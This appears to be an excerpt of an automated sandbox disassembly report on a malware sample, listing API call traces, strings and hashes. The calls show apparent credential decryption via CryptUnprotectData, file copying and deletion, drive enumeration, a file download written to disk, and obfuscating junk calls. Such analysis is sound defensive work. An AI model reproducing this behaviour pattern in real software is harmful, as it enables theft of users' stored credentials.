Part of subcall function 0040F9D2: CreateSemaphoreA.KERNEL32(00000000,00000000,00000001,SMPHR_o3u2xvzm), ref: 0040FAAA
Part of subcall function 0040F9D2: ReleaseSemaphore.KERNEL32(00000000,00000001,00000000), ref: 0040FAB4
Part of subcall function 0040F9D2: RegOpenKeyExA.KERNEL32(80000001,reggr17ifkk,00000000,00020019,?), ref: 0040FAD2
Part of subcall function 0040F9D2: CreateWaitableTimerA.KERNEL32(00000000,00000001,WTMR_oalnwsgu), ref: 0040FADC
Part of subcall function 0040F9D2: OutputDebugStringA.KERNEL32(log: rj3lmscv), ref: 0040FAE9
Part of subcall function 0040F9D2: CancelWaitableTimer.KERNEL32(00000000), ref: 0040FAF0

LocalFree.KERNEL32(00000000), ref: 00408926
CloseHandle.KERNEL32(00000000), ref: 0040892D
DeleteFileW.KERNEL32(?), ref: 00408936
LocalFree.KERNEL32(00000000), ref: 0040893F
DeleteFileW.KERNEL32(?), ref: 00408948
LocalFree.KERNEL32(?), ref: 00408951

Strings

., xrefs: 0040880E
idb, xrefs: 004088D7
8A, xrefs: 00408770

Memory Dump Source

Source File: 00000000.00000002.3418263873.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3418192710.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3418304827.0000000000412000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3418374462.0000000000417000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID: Local$Create$File$Alloc$EventFindSemaphore$Release$Mutex$Free$Close$EnvironmentTimerVariableWaitablelstrlen$DebugOpenOutputString$CombineFirstPath$Reset$CancelErrorLastMapping$ChangeCopyDeleteHandleNotificationSize$GlobalNextRead
String ID: .$idb$8A
API String ID: 3930113338-3925449657
Opcode ID: 1d6cc1da1dc885ae989c3d768af113471a7cf683ca4a898508e65d35770f61c9
Instruction ID: 86574d31c3c992ac98f4e2d525452176e236e642e96c3cf6856e66c6decaf477
Opcode Fuzzy Hash: 1d6cc1da1dc885ae989c3d768af113471a7cf683ca4a898508e65d35770f61c9
Instruction Fuzzy Hash: D7712C71944319ABDB116FB0DC4DAEF7F78EF08341F048079FA06A22A1DB785D418B69

Function 00403A6C Relevance: 66.4, APIs: 44, Instructions: 416memorylibraryloaderCOMMON

Download Yara Rule

APIs

LocalAlloc.KERNEL32(00000040,00000400,00000000,?,?), ref: 00403A82
LocalAlloc.KERNEL32(00000040,00000200), ref: 00403A91
StrCpyW.SHLWAPI(00000000,?), ref: 00403AA4

Part of subcall function 004025C2: CryptStringToBinaryW.CRYPT32(00000000,00000000,00000001,00000000,5@,00000000,00000000), ref: 004025E1
Part of subcall function 004025C2: LocalAlloc.KERNEL32(00000040,5@,?,004035EB,?), ref: 004025EF
Part of subcall function 004025C2: CryptStringToBinaryW.CRYPT32(?,00000000,00000001,00000000,5@,00000000,00000000), ref: 00402605
Part of subcall function 004025C2: LocalFree.KERNEL32(00000000,?,004035EB,?), ref: 00402613

LocalAlloc.KERNEL32(00000040,00000400), ref: 00403AE1
LocalFree.KERNEL32(00000000), ref: 00403AF5

Part of subcall function 0041046B: CreateFileMappingW.KERNELBASE(000000FF,00000000,00000004,00000000,000012F3,00000000,00000000,?,0000020A), ref: 00410488
Part of subcall function 0041046B: CloseHandle.KERNEL32(00000000), ref: 0041048F
Part of subcall function 0041046B: SetEnvironmentVariableA.KERNEL32(6dgac4un,g41v9360), ref: 0041049F
Part of subcall function 0041046B: CreateWaitableTimerA.KERNEL32(00000000,00000001,WTMR_vszfrk1v), ref: 004104AD
Part of subcall function 0041046B: GetLastError.KERNEL32 ref: 004104B5
Part of subcall function 0041046B: CancelWaitableTimer.KERNEL32(00000000), ref: 004104C0
Part of subcall function 0041046B: LocalAlloc.KERNEL32(00000000,000002F7), ref: 004104CC
Part of subcall function 0041046B: RegOpenKeyExA.ADVAPI32(80000001,reg6l0e1w30,00000000,00020019,?), ref: 004104EE
Part of subcall function 0041046B: LocalFree.KERNEL32(00000000), ref: 004104F1
Part of subcall function 0041046B: CreateEventA.KERNEL32(00000000,00000001,00000000,ev_88c4qzrn), ref: 00410500
Part of subcall function 0041046B: SetEvent.KERNEL32(00000000), ref: 00410509
Part of subcall function 0041046B: ResetEvent.KERNEL32(00000000), ref: 00410510
Part of subcall function 0041046B: FindFirstFileA.KERNEL32(s_tdhyddm1,?), ref: 00410522
Part of subcall function 0041046B: FindClose.KERNEL32(00000000), ref: 00410529
Part of subcall function 0041046B: CreateMutexA.KERNEL32(00000000,00000000,MTX20fugzrs), ref: 0041053C
Part of subcall function 0041046B: ReleaseMutex.KERNEL32(00000000), ref: 00410549
Part of subcall function 0041046B: LocalAlloc.KERNEL32(00000040,00000208), ref: 0041056B
Part of subcall function 0041046B: CreateMutexA.KERNEL32(00000000,00000000,MTX3jgp3d9d), ref: 0041057D
Part of subcall function 0041046B: ReleaseMutex.KERNEL32(00000000), ref: 0041058A
Part of subcall function 0041046B: OutputDebugStringA.KERNEL32(log: xkhuruup), ref: 00410591
Part of subcall function 0041046B: CreateSemaphoreA.KERNEL32(00000000,00000000,00000001,XML0tlu090e), ref: 004105A6
Part of subcall function 0041046B: ReleaseSemaphore.KERNEL32(00000000,00000001,00000000), ref: 004105B0

CryptUnprotectData.CRYPT32(00000200,00000000,00000000,00000000,00000000,00000000,?), ref: 00403B0D
StrCpyW.SHLWAPI(?,004031C2), ref: 00403B33
LocalFree.KERNEL32(00000000), ref: 00403B3E
LocalFree.KERNEL32(00000000), ref: 00403B4D
LocalFree.KERNEL32(00000000), ref: 00403B5C
LocalFree.KERNEL32(00000000), ref: 00403B6B
LocalFree.KERNEL32(00000000), ref: 00403B76
LocalAlloc.KERNEL32(00000040,00000208), ref: 00403B83
PathCombineW.SHLWAPI(00000000,?,?), ref: 00403BAD
GetProcAddress.KERNEL32(004031C2), ref: 00403BC7
GetProcAddress.KERNEL32(004031C2), ref: 00403BD9
GetProcAddress.KERNEL32(004031C2), ref: 00403BEB
GetProcAddress.KERNEL32(004031C2), ref: 00403BFD
GetProcAddress.KERNEL32(004031C2), ref: 00403C0F
GetProcAddress.KERNEL32(004031C2), ref: 00403C21
GetProcAddress.KERNEL32(004031C2), ref: 00403C33
GetProcAddress.KERNEL32(004031C2), ref: 00403C45
LocalAlloc.KERNEL32(00000040,00000208), ref: 00403C57
CopyFileW.KERNEL32(00000000,?,00000000), ref: 00403C73
DeleteFileW.KERNEL32(?), ref: 00403CC5
LocalFree.KERNEL32(?), ref: 00403CCC
LocalFree.KERNEL32(00000000), ref: 00403CE7
LocalAlloc.KERNEL32(00000040,00000040), ref: 00403DD7
lstrcpy.KERNEL32(00000000,00000000), ref: 00403DDF
LocalAlloc.KERNEL32(00000040,00004000), ref: 00403E0C
lstrcmp.KERNEL32(?), ref: 00403E26
LocalAlloc.KERNEL32(00000040,?), ref: 00403E3D
lstrcmpW.KERNEL32(?,?,?,?), ref: 00403E6A
wsprintfW.USER32 ref: 00403E8A
lstrlenW.KERNEL32(?), ref: 00403E98
CryptUnprotectData.CRYPT32(00000200,00000000,00000000,00000000,00000000,00000000,?), ref: 00403ED8
lstrcmpW.KERNEL32(?,?,?,00000000), ref: 00403F04
wsprintfW.USER32 ref: 00403F24
lstrlenW.KERNEL32(?), ref: 00403F32
LocalFree.KERNEL32(00000000), ref: 00403F50
LocalFree.KERNEL32(?), ref: 00403F59
LocalFree.KERNEL32(00000000), ref: 00403F64
LocalFree.KERNEL32(00000000), ref: 00403F6E
DeleteFileW.KERNEL32(?), ref: 00403FA5

Memory Dump Source

Source File: 00000000.00000002.3418263873.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3418192710.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3418304827.0000000000412000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3418374462.0000000000417000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID: Local$Free$Alloc$AddressProc$Create$File$CryptMutex$EventReleaseStringlstrcmp$BinaryCloseDataDeleteFindSemaphoreTimerUnprotectWaitablelstrlenwsprintf$CancelCombineCopyDebugEnvironmentErrorFirstHandleLastMappingOpenOutputPathResetVariablelstrcpy
String ID:
API String ID: 2193732280-0
Opcode ID: 1510c9a0e42df692bb78fe8ad3bce9f56d9f15fb4a724f770d3914542c901c03
Instruction ID: e717ae92e46074203141f27a2f43ea9ab8841a4b025a8c9096dddcb5f353a989
Opcode Fuzzy Hash: 1510c9a0e42df692bb78fe8ad3bce9f56d9f15fb4a724f770d3914542c901c03
Instruction Fuzzy Hash: F1F10971904209EFDB119FA0ED49AEEBFBAFB08305F108079F605B62A1DB755A10DF58

Function 0041123A Relevance: 63.3, APIs: 42, Instructions: 273memoryfilestringCOMMON

Download Yara Rule

APIs

LocalAlloc.KERNEL32(00000040,0000020A,?,00000000,00000000), ref: 00411261
LocalAlloc.KERNEL32(00000040,00000218), ref: 00411270
SHGetSpecialFolderPathW.SHELL32(00000000,00000000,0000001A,00000000), ref: 0041127F
lstrcmpW.KERNEL32(00000000,00000000), ref: 0041128E
StrCpyW.SHLWAPI(00000000,00000000), ref: 0041129A
StrCpyW.SHLWAPI(00000000,00000000), ref: 004112A4
FindFirstFileW.KERNEL32(00000000,?), ref: 004112C4
LocalFree.KERNEL32(00000000), ref: 004112D5
LocalFree.KERNEL32(00000000), ref: 004112DC

Memory Dump Source

Source File: 00000000.00000002.3418263873.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3418192710.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3418304827.0000000000412000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3418374462.0000000000417000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID: Local$AllocFree$FileFindFirstFolderPathSpeciallstrcmp
String ID:
API String ID: 388453216-0
Opcode ID: 0e72013398f5946bd8127673ac33dcd0798977b8466f9a72ef2c8626318d29c0
Instruction ID: 721a9466baaa729d0829c51d470161a8f1a425cabc7d7272610ee7bfbcb6251d
Opcode Fuzzy Hash: 0e72013398f5946bd8127673ac33dcd0798977b8466f9a72ef2c8626318d29c0
Instruction Fuzzy Hash: 54A14D71A45219BBDB109FA0DC4DFEF7F79EF48711F008065FA06A62A0D77899418B68

Function 0040EDAB Relevance: 63.1, APIs: 21, Strings: 15, Instructions: 101timefilesynchronizationCOMMON

Download Yara Rule

APIs

CreateFileMappingW.KERNELBASE(000000FF,00000000,00000004,00000000,00000997,00000000,00000000,00000000,00000000), ref: 0040EDC8
CloseHandle.KERNEL32(00000000), ref: 0040EDCF
CreateSemaphoreA.KERNEL32(00000000,00000000,00000001,SMPHR_g7hsdhtp), ref: 0040EDDE
OutputDebugStringA.KERNEL32(log: lgtpy4hq), ref: 0040EDEB
ReleaseSemaphore.KERNEL32(00000000,00000001,00000000), ref: 0040EDF5
SetEnvironmentVariableA.KERNEL32(6wechbbs,iv485re1), ref: 0040EE0F
CreateWaitableTimerA.KERNEL32(00000000,00000001,WTMR_8pnw7ntn), ref: 0040EE1F
CancelWaitableTimer.KERNEL32(00000000), ref: 0040EE2C
CreateWaitableTimerA.KERNEL32(00000000,00000001,WTMR_9yw1kuzr), ref: 0040EE37
OutputDebugStringA.KERNEL32(log: 7xb6ksmv), ref: 0040EE40
CancelWaitableTimer.KERNEL32(00000000), ref: 0040EE47
SetEnvironmentVariableA.KERNEL32(6etsi2yf,3gp23vm9), ref: 0040EE53
FindFirstFileA.KERNEL32(s_ejb64jwq,?), ref: 0040EE61
FindClose.KERNEL32(00000000), ref: 0040EE68
CreateSemaphoreA.KERNEL32(00000000,00000000,00000001,XMLpcg40jzc), ref: 0040EE79
ReleaseSemaphore.KERNEL32(00000000,00000001,00000000), ref: 0040EE83
OutputDebugStringA.KERNEL32(log: aeda9ywt), ref: 0040EE8E
CreateMutexA.KERNEL32(00000000,00000000,MTXk54wajkl), ref: 0040EE9B
ReleaseMutex.KERNEL32(00000000), ref: 0040EEA6
CreateEventA.KERNEL32(00000000,00000001,00000000,ev_u5latmcd), ref: 0040EEB5
FindFirstFileW.KERNEL32(L,@,?), ref: 0040EEC5

Strings

ev_u5latmcd, xrefs: 0040EEAC
s_ejb64jwq, xrefs: 0040EE5C
XMLpcg40jzc, xrefs: 0040EE6E
WTMR_9yw1kuzr, xrefs: 0040EE2E
log: 7xb6ksmv, xrefs: 0040EE39
WTMR_8pnw7ntn, xrefs: 0040EE17
3gp23vm9, xrefs: 0040EE49
6wechbbs, xrefs: 0040EE0A
MTXk54wajkl, xrefs: 0040EE94
SMPHR_g7hsdhtp, xrefs: 0040EDD5
6etsi2yf, xrefs: 0040EE4E
log: lgtpy4hq, xrefs: 0040EDE4
log: aeda9ywt, xrefs: 0040EE89
L,@, xrefs: 0040EEC2
iv485re1, xrefs: 0040EE05

Memory Dump Source

Source File: 00000000.00000002.3418263873.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3418192710.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3418304827.0000000000412000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3418374462.0000000000417000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID: Create$SemaphoreTimerWaitable$DebugFileFindOutputReleaseString$CancelCloseEnvironmentFirstMutexVariable$EventHandleMapping
String ID: 3gp23vm9$6etsi2yf$6wechbbs$L,@$MTXk54wajkl$SMPHR_g7hsdhtp$WTMR_8pnw7ntn$WTMR_9yw1kuzr$XMLpcg40jzc$ev_u5latmcd$iv485re1$log: 7xb6ksmv$log: aeda9ywt$log: lgtpy4hq$s_ejb64jwq
API String ID: 4139435572-3749099595
Opcode ID: 613cf7890855daa62e0c14d2740a2f9fb047413f42d83cede18d5faca0498b93
Instruction ID: de9e377a56645f50bd770a910914e7335feebe74bd728b446fe331a93d128ea9
Opcode Fuzzy Hash: 613cf7890855daa62e0c14d2740a2f9fb047413f42d83cede18d5faca0498b93
Instruction Fuzzy Hash: 97316171690714FBD6106BB59D8EFDB3E6CAF88B91F108626B305E50D0CAE89990C76C

Function 004064A0 Relevance: 54.5, APIs: 30, Strings: 1, Instructions: 216memoryfileCOMMON

Download Yara Rule

APIs

LocalAlloc.KERNEL32(00000040,0000020A,-00000002,00000000,00000000), ref: 004064BB
StrCpyW.SHLWAPI(00000000,00000000), ref: 004064C3
FindFirstFileW.KERNELBASE(00000000,?), ref: 004064E8
LocalFree.KERNEL32(00000000), ref: 004064F6
LocalAlloc.KERNEL32(00000040,00000410), ref: 0040653A
PathCombineW.SHLWAPI(00000000,00000000,0000002E), ref: 00406549
LocalFree.KERNEL32(?), ref: 0040671D
FindNextFileW.KERNEL32(00000000,00000010), ref: 0040672E
LocalFree.KERNEL32(?), ref: 00406743
FindClose.KERNEL32(00000000), ref: 0040674A

Strings

., xrefs: 00406510

Memory Dump Source

Source File: 00000000.00000002.3418263873.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3418192710.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3418304827.0000000000412000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3418374462.0000000000417000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID: Local$FindFree$AllocFile$CloseCombineFirstNextPath
String ID: .
API String ID: 3406112052-248832578
Opcode ID: 156096eba145d08acf0bcfbbb6e1b0d79053094f3f4b2aa2979de17c5ac431ef
Instruction ID: b6a06f0fe5a14c36054f71a9f4b96536c8aedeb62887c0d91bfec2ea25878403
Opcode Fuzzy Hash: 156096eba145d08acf0bcfbbb6e1b0d79053094f3f4b2aa2979de17c5ac431ef
Instruction Fuzzy Hash: 25814B75A04309EFDB109FA0DC49AEF7F79EF48314F108169FA02A7290DB799951CB68

Function 0040D804 Relevance: 54.5, APIs: 30, Strings: 1, Instructions: 215memoryfileCOMMON

Download Yara Rule

APIs

LocalAlloc.KERNEL32(00000040,0000020A,-00000002,00000000,00000000), ref: 0040D81A
StrCpyW.SHLWAPI(00000000,00000000), ref: 0040D825
FindFirstFileW.KERNELBASE(00000000,?), ref: 0040D84A
LocalFree.KERNEL32(00000000), ref: 0040D858
LocalAlloc.KERNEL32(00000040,00000410), ref: 0040D89C
PathCombineW.SHLWAPI(00000000,00000000,0000002E), ref: 0040D8AB
LocalFree.KERNEL32(00000000), ref: 0040DA7E
FindNextFileW.KERNEL32(00000000,00000010), ref: 0040DA8F
LocalFree.KERNEL32(0040D6DD), ref: 0040DAA4
FindClose.KERNEL32(00000000), ref: 0040DAAB

Strings

., xrefs: 0040D872

Memory Dump Source

Source File: 00000000.00000002.3418263873.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3418192710.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3418304827.0000000000412000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3418374462.0000000000417000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID: Local$FindFree$AllocFile$CloseCombineFirstNextPath
String ID: .
API String ID: 3406112052-248832578
Opcode ID: 41249feffd399f26be1f51b48857f1424ec0f839474520ca8425045c3ea4fd9b
Instruction ID: 3dcc7d783abcdc2d5bc238573c06c711b1871255d67d1dfb5863cfd9f0abe239
Opcode Fuzzy Hash: 41249feffd399f26be1f51b48857f1424ec0f839474520ca8425045c3ea4fd9b
Instruction Fuzzy Hash: E1813971A4420AEBDB109FA0DC49EEF7F79EF48310F108165FA15A72A0DB389951CF68

Function 0040714A Relevance: 51.0, APIs: 27, Strings: 2, Instructions: 239memorystringCOMMON

Download Yara Rule

APIs

LocalAlloc.KERNEL32(00000040,00000410,-0000000A,00000000,00000000,?,?,?,?,?,?,?,?,?,?,00406A40), ref: 00407160
LocalAlloc.KERNEL32(00000040,0000020A,?,?,?,?,?,?,?,?,?,?,00406A40,?,?,?), ref: 0040716F
lstrlenW.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,00406A40,?,?,?,00000000), ref: 0040717E
LocalAlloc.KERNEL32(00000040,00000410,?,?,?,?,?,?,?,?,?,?,00406A40,?,?,?), ref: 004071C4
GetLogicalDriveStringsW.KERNEL32(00000208,00000000,?,?,?,?,?,?,?,?,?,?,00406A40,?,?,?), ref: 004071D5
GetDriveTypeW.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,00406A40,?,?,?,00000000), ref: 00407242
LocalAlloc.KERNEL32(00000040,00000020,?,?,?,?,?,?,?,?,?,?,00406A40,?,?,?), ref: 0040724E
wsprintfW.USER32 ref: 00407260
lstrlenW.KERNEL32(0062AA50,?,?,?,?,?,?,?,?,?,?,?,?,?,00406A40,?), ref: 0040726C
lstrlenW.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00406A40,?), ref: 00407282
LocalAlloc.KERNEL32(00000040,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,00406A40), ref: 0040728E
StrCpyW.SHLWAPI(00000000,?), ref: 00407298
StrStrW.SHLWAPI(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,00406A40,?), ref: 004072A7
StrStrW.SHLWAPI(00000000,@j@,?,?,?,?,?,?,?,?,?,?,?,?,?,00406A40), ref: 004072C2
lstrlenW.KERNEL32(0062AA52,?,?,?,?,?,?,?,?,?,?,?,?,?,00406A40,?), ref: 004072D0
StrCpyW.SHLWAPI(00000000,?), ref: 004072E0

Part of subcall function 0040FC69: lstrlenW.KERNEL32(00000000,00000000,?,00000000), ref: 0040FC80
Part of subcall function 0040FC69: lstrlenW.KERNEL32 ref: 0040FC89
Part of subcall function 0040FC69: LocalAlloc.KERNEL32(00000040,-00000080), ref: 0040FC9D
Part of subcall function 0040FC69: CreateMutexA.KERNEL32(00000000,00000000,MTXv7nh0o7s,00000000), ref: 0040FCB9
Part of subcall function 0040FC69: SetEnvironmentVariableA.KERNEL32(00pbq394,c3gschjc), ref: 0040FCD5
Part of subcall function 0040FC69: ReleaseMutex.KERNEL32(00000000), ref: 0040FCD8
Part of subcall function 0040FC69: LocalAlloc.KERNEL32(00000000,00000368), ref: 0040FCE4
Part of subcall function 0040FC69: RegOpenKeyExA.KERNELBASE(80000001,reg9ogvr0xq,00000000,00020019,?), ref: 0040FD06
Part of subcall function 0040FC69: LocalFree.KERNEL32(00000000), ref: 0040FD09
Part of subcall function 0040FC69: CreateFileMappingW.KERNELBASE(000000FF,00000000,00000004,00000000,0000080C,00000000), ref: 0040FD1D
Part of subcall function 0040FC69: RegOpenKeyExA.KERNEL32(80000001,reg7zkajz1y,00000000,00020019,?), ref: 0040FD3A
Part of subcall function 0040FC69: FindCloseChangeNotification.KERNEL32(00000000), ref: 0040FD3D
Part of subcall function 0040FC69: CreateSemaphoreA.KERNEL32(00000000,00000000,00000001,SMPHR_9w00jqb8), ref: 0040FD54
Part of subcall function 0040FC69: ReleaseSemaphore.KERNEL32(00000000,00000001,00000000), ref: 0040FD5A
Part of subcall function 0040FC69: SetEnvironmentVariableA.KERNEL32(87j5ox0s,7l8u4u8m), ref: 0040FD6E
Part of subcall function 0040FC69: SetEnvironmentVariableA.KERNEL32(q04pfiaa,kptwv1ur), ref: 0040FD7A
Part of subcall function 0040FC69: CreateEventA.KERNEL32(00000000,00000001,00000000,ev_u5fjxky5), ref: 0040FD85
Part of subcall function 0040FC69: SetEvent.KERNEL32(00000000), ref: 0040FD8E

StrCpyW.SHLWAPI(00000000,?), ref: 004072F1
LocalFree.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,00406A40,?), ref: 00407323
LocalFree.KERNEL32(@j@,?,?,?,?,?,?,?,?,?,?,?,?,?,00406A40,?), ref: 0040732C
LocalFree.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,00406A40,?,?,?,00000000), ref: 00407366
StrStrW.SHLWAPI(0000002F,?,?,?,?,?,?,?,?,?,?,00406A40,?,?,?,00000000), ref: 00407378
GetEnvironmentVariableW.KERNEL32(00000000,00000000,00000208,?,?,?,?,?,?,?,?,?,?,00406A40,?,?), ref: 004073A8
LocalFree.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,00406A40,?,?,?,00000000), ref: 004073B6
LocalFree.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,00406A40,?,?,?,00000000), ref: 004073BD
StrCpyW.SHLWAPI(00000000,?), ref: 004073DF
LocalFree.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,00406A40,?,?,?,00000000), ref: 00407411
LocalFree.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,00406A40,?,?,?,00000000), ref: 00407418

Strings

@j@, xrefs: 00407329, 004072B1
@j@, xrefs: 004073F7

Memory Dump Source

Source File: 00000000.00000002.3418263873.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3418192710.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3418304827.0000000000412000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3418374462.0000000000417000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID: Local$Free$Alloc$lstrlen$CreateEnvironmentVariable$DriveEventMutexOpenReleaseSemaphore$ChangeCloseFileFindLogicalMappingNotificationStringsTypewsprintf
String ID: @j@$@j@
API String ID: 2652350461-2667555174
Opcode ID: 0c8b80d96fbd1fc1e06f4ee23ef9d8c1ec73b62c95b9f36fb5006fb98db98256
Instruction ID: 420b3a79bf7a49fe1f11030d308d1a85b5bd450b52af026ea4be6eabca6f3680
Opcode Fuzzy Hash: 0c8b80d96fbd1fc1e06f4ee23ef9d8c1ec73b62c95b9f36fb5006fb98db98256
Instruction Fuzzy Hash: FF915E75D04209ABDB109FA4DC49AEFBFB5FF48310F008029FA06B72A0D774A951DB99

Function 0040BF4A Relevance: 26.4, APIs: 12, Strings: 3, Instructions: 117filenetworkstringCOMMON

Download Yara Rule

APIs

LocalAlloc.KERNEL32(00000040,00000208,?,-00000002,?), ref: 0040BF62
StrStrW.SHLWAPI(?), ref: 0040BFA4
lstrlenW.KERNEL32(00000000), ref: 0040BFD6
InternetOpenW.WININET(Xmlst,00000000,00000000,00000000,00000000), ref: 0040BFE7
lstrlenW.KERNEL32(0040C29E,84400000,00000000), ref: 0040C00F
InternetOpenUrlW.WININET(00000000,?,0040C29E,00000000), ref: 0040C01B
CreateFileW.KERNEL32(0040C29E,40000000,00000000,00000000,00000002,08000000,00000000), ref: 0040C03B
WriteFile.KERNEL32(00000000,?,00000000,00000073,00000000), ref: 0040C05F
InternetReadFile.WININET(00000000,?,00000800,0000002F), ref: 0040C07A
LocalFree.KERNEL32(00000000), ref: 0040C085
FindCloseChangeNotification.KERNEL32(00000000), ref: 0040C093
LocalFree.KERNEL32(00000000), ref: 0040C09A

Strings

Xmlst, xrefs: 0040BFE2
/, xrefs: 0040BFAC
s, xrefs: 0040BFF7

Memory Dump Source

Source File: 00000000.00000002.3418263873.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3418192710.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3418304827.0000000000412000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3418374462.0000000000417000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID: FileInternetLocal$FreeOpenlstrlen$AllocChangeCloseCreateFindNotificationReadWrite
String ID: /$Xmlst$s
API String ID: 1693123340-746134198
Opcode ID: c213513ca97f81aa4772692300c35bbee53c17ec1b11ddf70e2e51cbaf856ade
Instruction ID: 1b9a084f7ea05c10d8c421ff736218f15620006f7c312937c540eebf4320bd46
Opcode Fuzzy Hash: c213513ca97f81aa4772692300c35bbee53c17ec1b11ddf70e2e51cbaf856ade
Instruction Fuzzy Hash: AB415071504205FADB209BF4DC88BBB7AB8EB08705F10C576FA45E6190E7788D44CB68

Function 0040DD10 Relevance: 21.1, APIs: 14, Instructions: 124stringmemoryCOMMON

Download Yara Rule

APIs

LocalAlloc.KERNEL32(00000040,00000800,00000000,00000001,00000000,?,?,?,?,?,?,?,?,?,?,0040E46B), ref: 0040DD2B
LocalAlloc.KERNEL32(00000040,00000104,?,?,?,?,?,?,?,?,?,?,0040E46B,?,?,?), ref: 0040DD3D
lstrlenA.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,0040E46B,?,?,?,?), ref: 0040DD64
lstrcpyn.KERNEL32(?,?,00000000,?,?,?,?,?,?,?,?,?,?,0040E46B,?,?), ref: 0040DD72
lstrlenA.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,0040E46B,?,?,?,?), ref: 0040DD9E
lstrcpyn.KERNEL32(?,?,00000000,?,?,?,?,?,?,?,?,?,?,0040E46B,?,?), ref: 0040DDAF
lstrlenA.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,0040E46B,?,?,?,?), ref: 0040DDDB
lstrcpyn.KERNEL32(?,?,00000000,?,?,?,?,?,?,?,?,?,?,0040E46B,?,?), ref: 0040DDEC
GetSystemInfo.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,0040E46B,?,?,?,?), ref: 0040DDFA

Part of subcall function 0040F9D2: lstrlenA.KERNEL32(fa72f4c1fbe65cee8651140fd47267ba,75B4EC10,7622E010,76229350), ref: 0040F9E4
Part of subcall function 0040F9D2: LocalAlloc.KERNEL32(00000000,00000D3D), ref: 0040F9F5
Part of subcall function 0040F9D2: LocalFree.KERNEL32(00000000), ref: 0040F9FC
Part of subcall function 0040F9D2: RegOpenKeyExA.KERNEL32(80000001,regiy6zdfg3,00000000,00020019,004091BF), ref: 0040FA1C
Part of subcall function 0040F9D2: FindFirstFileA.KERNEL32(s_3jcfxium,?), ref: 0040FA2A
Part of subcall function 0040F9D2: FindClose.KERNEL32(00000000), ref: 0040FA31
Part of subcall function 0040F9D2: CreateMutexA.KERNEL32(00000000,00000000,MTXua94bg5a), ref: 0040FA3E
Part of subcall function 0040F9D2: OutputDebugStringA.KERNEL32(log: pq4wrltf), ref: 0040FA55
Part of subcall function 0040F9D2: ReleaseMutex.KERNEL32(00000000), ref: 0040FA58
Part of subcall function 0040F9D2: CreateEventA.KERNEL32(00000000,00000001,00000000,ev_vx41shaz), ref: 0040FA69
